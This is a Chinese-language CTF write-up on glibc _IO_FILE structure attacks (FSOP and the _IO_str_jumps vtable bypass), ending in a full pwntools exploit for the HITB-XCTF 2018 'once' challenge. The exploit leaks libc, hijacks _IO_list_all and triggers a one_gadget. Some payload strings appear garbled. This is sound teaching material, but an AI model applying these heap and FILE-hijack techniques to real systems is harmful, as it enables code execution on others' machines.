通過一道pwn題探究_IO_FILE結構攻擊利用
前言
前一段時間學了IO-file的知識，發現在CTF中IO_file也是一個常考的知識點，這裡我就來總結一下IO_file的知識點，順便可以做一波筆記。首先講一下IO_file的結構體，然後其利用的方法，最後通過一道HITB-XCTF 2018 GSEC once的題目來加深對IO_file的理解。
libc2.23 版本的IO_file利用
這是一種控制流劫持技術，攻擊者可以利用程式中的漏洞覆蓋file指標指向能夠控制的區域，從而改寫結構體中重要的資料，或者覆蓋vtable來控制程式執行流。
IO_file結構體
在ctf中呼叫setvbuf()，stdin、stdout、stderr結構體一般位於libc資料段，其他大多數的FILE 結構體儲存在堆上，其定義如下程式碼：
struct _IO_FILE { int _flags;/* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note:Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr;/* Current read pointer */ char* _IO_read_end;/* End of get area. */ char* _IO_read_base;/* Start of putback+get area. */ char* _IO_write_base;/* Start of put area. */ char* _IO_write_ptr;/* Current put pointer. */ char* _IO_write_end;/* End of put area. */ char* _IO_buf_base;/* Start of reserve area. */ char* _IO_buf_end;/* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base;/* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small.*/ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /*char* _save_gptr;char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
FILE結構體會通過struct _IO_FILE *_chain連結成一個連結串列，64位程式下其偏移為0x60，連結串列頭部用_IO_list_all指標表示。如下圖所示
IO_file結構體外面還被一個IO_FILE_plus結構體包裹著，其定義如下
struct _IO_FILE_plus
{
_IO_FILEfile;
IO_jump_t*vtable;
}
其中包含了一個重要的虛表*vtable，它是IO_jump_t 型別的指標,偏移是0xd8，儲存了一些重要的函式指標，我們一般就是改這裡的指標來控制程式執行流。其定義如下
struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); #if 0 get_column; set_column; #endif };
利用方法（FSOP）
這是利用程式中的漏洞（如unsorted bin attack）來覆蓋_IO_list_all(全域性變數)來使連結串列指向一個我們能夠控制的區域，從而改寫虛表*vtable。通過呼叫 _IO_flush_all_lockp()函式來觸發,，該函式會在下面三種情況下被呼叫：
1：當 libc 執行 abort 流程時。
2：當執行 exit 函式時。當執行流從 main 函式返回時
3：當執行流從 main 函式返回時
當 glibc 檢測到記憶體錯誤時，會依次呼叫這樣的函式路徑：malloc_printerr ->
libc_message->__GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW
要讓正常控制執行流，還需要偽造一些資料，我們看下程式碼
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF)
這時我們偽造 fp->_mode = 0， fp->_IO_write_ptr > fp->_IO_write_base就可以通過驗證
新版本下的利用
新版本（libc2.24以上）的防禦機制會檢查vtable的合法性，不能再像之前那樣改vatable為堆地址，但是_IO_str_jumps是一個符合條件的 vtable，改 vtable為 _IO_str_jumps即可繞過檢查。其定義如下
const struct _IO_jump_t _IO_str_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
其中 IO_str_overflow 函式會呼叫 FILE+0xe0處的地址。這時只要我們將虛表覆蓋為 IO_str_jumps將偏移0xe0處設定為one_gadget即可。
還有一種就是利用io_finish函式，同上面的類似， io_finish會以 IO_buf_base處的值為引數跳轉至 FILE+0xe8處的地址。執行 fclose（ fp）時會呼叫此函式，但是大多數情況下可能不會有 fclose（fp），這時我們還是可以利用異常來呼叫 io_finish，異常時呼叫 IO_OVERFLOW
是根據IO_str_overflow在虛表中的偏移找到的， 我們可以設定vtable為IO_str_jumps-0x8異常時會呼叫io_finish函式。
具體題目（HITB-XCTF 2018 GSEC once）
1、先簡單執行一下程式，檢視保護
主要開啟了CANARY和NX保護，不能改寫GOT表
2、ida開啟，反編譯
這裡當輸入一個不合法的選項時，就會輸出puts的地址，用於洩露libc的基地址。
第一個函式是建立一個chunk儲存資料
第二個函式和第三個函式只能執行一次，有個任意地址寫漏洞，這時我們可以利用第二個函式改寫off_202038+3d為_IO_list_all-0x10，然後分別執行第三和第一個函式，最後_IO_list_all就會指向0x555555757040的位置
第四個函式主要是對堆塊的操作，我們可以利用利用這個函式偽造一個_IO_FILE結構
3、具體過程
1、洩露libc，輸入一個“6”即可得到puts函式的地址，然後酸算出libc基地址
p.recvuntil('>') p.sendline('6') p.recvuntil('Invalid choicen') ioputadd=int(p.recvuntil('>',drop=True),16) print hex(ioputadd) libcbase=ioputadd-libc.symbols['_IO_puts'] print hex(libcbase) one=libcbase+0x4526a
2、利用任意地址寫改寫_IO_list_all為堆的地址
p.sendline('1') p.recvuntil('>') p.sendline('2') ioall=libcbase+libc.symbols['_IO_list_all']-0x10 print hex(ioall) payload=p64(ioall)*4 p.sendline(payload) p.recvuntil('>') p.sendline('3') p.recvuntil('>') p.sendline('1')
3、這時只要我們再利用第四個函式偽造__IO_FILE結構體，改寫vtable為_IO_str_jumps，file+0xe0設定
為one_gadget
p.sendline('4') p.sendline('1') p.recvuntil('input size:n') p.sendline('256') jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0#_IO_str_jumps p.recvuntil('>') p.sendline('2') payload=''*0xa8+p64(jump)+p64(one) payload+=''*(0x100-len(payload)) p.sendline(payload) p.recvuntil('>') p.sendline('4')
4、輸入“5”，執行exit()函式觸發one_gadget
p.recvuntil('>')
p.sendline('5')
p.interactive()
小結
這個是我個人總結出來的IO_file結構的一些知識點，寫得還不夠全，如有寫得不對的地方，歡迎大牛指正。
完整EXP
from pwn import* #context.log_level=True p=process('./once') elf=ELF('once') libc=ELF('libc6_2.23-0ubuntu10_amd64.so') p.recvuntil('>') p.sendline('6') p.recvuntil('Invalid choicen') ioputadd=int(p.recvuntil('>',drop=True),16) print hex(ioputadd) libcbase=ioputadd-libc.symbols['_IO_puts'] print hex(libcbase) one=libcbase+0x4526a p.sendline('1') p.recvuntil('>') p.sendline('2') ioall=libcbase+libc.symbols['_IO_list_all']-0x10 print hex(ioall) payload=p64(ioall)*4 p.sendline(payload) p.recvuntil('>') p.sendline('3') p.recvuntil('>') # p.sendline('1') p.recvuntil('>') p.sendline('4') p.sendline('1') p.recvuntil('input size:n') p.sendline('256') jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps p.recvuntil('>') p.sendline('2') payload=''*0xa8+p64(jump)+p64(one) payload+=''*(0x100-len(payload)) p.sendline(payload) #gdb.attach(p) p.recvuntil('>') p.sendline('4') raw_input() p.recvuntil('>') p.sendline('5') p.interactive()